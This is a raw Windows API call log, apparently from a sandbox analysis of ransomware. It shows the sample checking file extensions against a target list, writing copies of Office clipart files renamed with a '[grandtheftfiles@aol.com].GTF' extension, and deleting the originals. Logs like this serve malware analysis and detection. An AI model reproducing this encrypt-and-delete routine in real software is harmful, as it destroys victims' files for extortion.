	[0084.914] lstrlenW (lpString=".7z") returned 3
	[0084.914] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68
	[0084.914] lstrlenW (lpString=".dbf") returned 4
	[0084.914] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68
	[0084.914] lstrlenW (lpString=".1cd") returned 4
	[0084.914] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68
	[0084.914] lstrlenW (lpString=".jpg") returned 4
	[0084.914] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.914] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0084.914] lstrlenW (lpString="BS01603_.WMF") returned 12
	[0084.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0084.918] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=7176) returned 1
	[0084.918] CloseHandle (hObject=0x384) returned 1
	[0084.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf")) returned 0x220
	[0084.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0084.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0084.919] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.919] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0084.919] GetLastError () returned 0x0
	[0084.919] ReadFile (in: hFile=0x384, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x1c08, lpOverlapped=0x0) returned 1
	[0084.920] WriteFile (in: hFile=0x35c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x1c10, lpOverlapped=0x0) returned 1
	[0084.921] ReadFile (in: hFile=0x384, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.921] WriteFile (in: hFile=0x35c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.922] SetEndOfFile (hFile=0x35c) returned 1
	[0084.922] CloseHandle (hObject=0x35c) returned 1
	[0084.923] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.923] SetEndOfFile (hFile=0x384) returned 1
	[0084.924] CloseHandle (hObject=0x384) returned 1
	[0084.924] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0084.924] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf")) returned 1
	[0084.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68
	[0084.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68
	[0084.924] lstrlenW (lpString=".doc") returned 4
	[0084.924] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.924] lstrlenW (lpString=".docx") returned 5
	[0084.924] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.924] lstrlenW (lpString=".pdf") returned 4
	[0084.924] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.924] lstrlenW (lpString=".xls") returned 4
	[0084.924] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.924] lstrlenW (lpString=".xlsx") returned 5
	[0084.924] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.924] lstrlenW (lpString=".ppt") returned 4
	[0084.924] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68
	[0084.924] lstrlenW (lpString=".zip") returned 4
	[0084.924] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.924] lstrlenW (lpString=".rar") returned 4
	[0084.925] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.925] lstrlenW (lpString=".bz2") returned 4
	[0084.925] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.925] lstrlenW (lpString=".7z") returned 3
	[0084.925] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68
	[0084.925] lstrlenW (lpString=".dbf") returned 4
	[0084.925] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68
	[0084.925] lstrlenW (lpString=".1cd") returned 4
	[0084.925] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68
	[0084.925] lstrlenW (lpString=".jpg") returned 4
	[0084.925] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68
	[0084.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68
	[0084.925] lstrlenW (lpString=".doc") returned 4
	[0084.925] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.925] lstrlenW (lpString=".docx") returned 5
	[0084.925] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.925] lstrlenW (lpString=".pdf") returned 4
	[0084.925] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.925] lstrlenW (lpString=".xls") returned 4
	[0084.925] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.925] lstrlenW (lpString=".xlsx") returned 5
	[0084.925] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.925] lstrlenW (lpString=".ppt") returned 4
	[0084.925] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68
	[0084.925] lstrlenW (lpString=".zip") returned 4
	[0084.925] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.925] lstrlenW (lpString=".rar") returned 4
	[0084.925] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.925] lstrlenW (lpString=".bz2") returned 4
	[0084.925] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.925] lstrlenW (lpString=".7z") returned 3
	[0084.925] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68
	[0084.926] lstrlenW (lpString=".dbf") returned 4
	[0084.926] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68
	[0084.926] lstrlenW (lpString=".1cd") returned 4
	[0084.926] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68
	[0084.926] lstrlenW (lpString=".jpg") returned 4
	[0084.926] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.926] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0084.926] lstrlenW (lpString="BS01634_.WMF") returned 12
	[0084.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0084.926] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=3494) returned 1
	[0084.926] CloseHandle (hObject=0x384) returned 1
	[0084.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf")) returned 0x220
	[0084.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0084.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0084.927] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.927] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0084.927] GetLastError () returned 0x0
	[0084.927] ReadFile (in: hFile=0x384, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0xda6, lpOverlapped=0x0) returned 1
	[0084.930] WriteFile (in: hFile=0x35c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xdb0, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xdb0, lpOverlapped=0x0) returned 1
	[0084.931] ReadFile (in: hFile=0x384, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.931] WriteFile (in: hFile=0x35c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.931] SetEndOfFile (hFile=0x35c) returned 1
	[0084.931] CloseHandle (hObject=0x35c) returned 1
	[0084.932] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.932] SetEndOfFile (hFile=0x384) returned 1
	[0084.933] CloseHandle (hObject=0x384) returned 1
	[0084.933] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0084.933] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf")) returned 1
	[0084.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68
	[0084.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68
	[0084.934] lstrlenW (lpString=".doc") returned 4
	[0084.934] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.934] lstrlenW (lpString=".docx") returned 5
	[0084.934] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.934] lstrlenW (lpString=".pdf") returned 4
	[0084.934] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.934] lstrlenW (lpString=".xls") returned 4
	[0084.934] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.934] lstrlenW (lpString=".xlsx") returned 5
	[0084.934] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.934] lstrlenW (lpString=".ppt") returned 4
	[0084.934] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68
	[0084.934] lstrlenW (lpString=".zip") returned 4
	[0084.934] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.934] lstrlenW (lpString=".rar") returned 4
	[0084.934] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.934] lstrlenW (lpString=".bz2") returned 4
	[0084.934] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.934] lstrlenW (lpString=".7z") returned 3
	[0084.934] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68
	[0084.934] lstrlenW (lpString=".dbf") returned 4
	[0084.934] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68
	[0084.934] lstrlenW (lpString=".1cd") returned 4
	[0084.934] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68
	[0084.934] lstrlenW (lpString=".jpg") returned 4
	[0084.934] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68
	[0084.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68
	[0084.934] lstrlenW (lpString=".doc") returned 4
	[0084.935] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.935] lstrlenW (lpString=".docx") returned 5
	[0084.935] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.935] lstrlenW (lpString=".pdf") returned 4
	[0084.935] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.935] lstrlenW (lpString=".xls") returned 4
	[0084.935] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.935] lstrlenW (lpString=".xlsx") returned 5
	[0084.935] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.935] lstrlenW (lpString=".ppt") returned 4
	[0084.935] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68
	[0084.935] lstrlenW (lpString=".zip") returned 4
	[0084.935] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.935] lstrlenW (lpString=".rar") returned 4
	[0084.935] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.935] lstrlenW (lpString=".bz2") returned 4
	[0084.935] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.935] lstrlenW (lpString=".7z") returned 3
	[0084.935] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68
	[0084.935] lstrlenW (lpString=".dbf") returned 4
	[0084.935] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68
	[0084.935] lstrlenW (lpString=".1cd") returned 4
	[0084.935] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68
	[0084.935] lstrlenW (lpString=".jpg") returned 4
	[0084.935] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.935] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0084.935] lstrlenW (lpString="BS01635_.WMF") returned 12
	[0084.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0084.936] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=14996) returned 1
	[0084.936] CloseHandle (hObject=0x384) returned 1
	[0084.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf")) returned 0x220
	[0084.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0084.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0084.937] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.937] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0084.937] GetLastError () returned 0x0
	[0084.937] ReadFile (in: hFile=0x384, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x3a94, lpOverlapped=0x0) returned 1
	[0084.939] WriteFile (in: hFile=0x35c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x3aa0, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x3aa0, lpOverlapped=0x0) returned 1
	[0084.940] ReadFile (in: hFile=0x384, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.940] WriteFile (in: hFile=0x35c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.940] SetEndOfFile (hFile=0x35c) returned 1
	[0084.941] CloseHandle (hObject=0x35c) returned 1
	[0084.941] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.942] SetEndOfFile (hFile=0x384) returned 1
	[0084.942] CloseHandle (hObject=0x384) returned 1
	[0084.943] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0084.943] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf")) returned 1
	[0084.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68
	[0084.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68
	[0084.943] lstrlenW (lpString=".doc") returned 4
	[0084.943] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.943] lstrlenW (lpString=".docx") returned 5
	[0084.943] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.943] lstrlenW (lpString=".pdf") returned 4
	[0084.943] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.943] lstrlenW (lpString=".xls") returned 4
	[0084.943] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.943] lstrlenW (lpString=".xlsx") returned 5
	[0084.943] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.943] lstrlenW (lpString=".ppt") returned 4
	[0084.943] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68
	[0084.943] lstrlenW (lpString=".zip") returned 4
	[0084.943] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.943] lstrlenW (lpString=".rar") returned 4
	[0084.943] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.943] lstrlenW (lpString=".bz2") returned 4
	[0084.944] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.944] lstrlenW (lpString=".7z") returned 3
	[0084.944] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68
	[0084.944] lstrlenW (lpString=".dbf") returned 4
	[0084.944] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68
	[0084.944] lstrlenW (lpString=".1cd") returned 4
	[0084.944] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68
	[0084.944] lstrlenW (lpString=".jpg") returned 4
	[0084.944] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68
	[0084.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68
	[0084.944] lstrlenW (lpString=".doc") returned 4
	[0084.944] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.944] lstrlenW (lpString=".docx") returned 5
	[0084.944] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.944] lstrlenW (lpString=".pdf") returned 4
	[0084.944] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.944] lstrlenW (lpString=".xls") returned 4
	[0084.944] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.944] lstrlenW (lpString=".xlsx") returned 5
	[0084.944] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.944] lstrlenW (lpString=".ppt") returned 4
	[0084.944] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68
	[0084.944] lstrlenW (lpString=".zip") returned 4
	[0084.944] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.944] lstrlenW (lpString=".rar") returned 4
	[0084.944] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
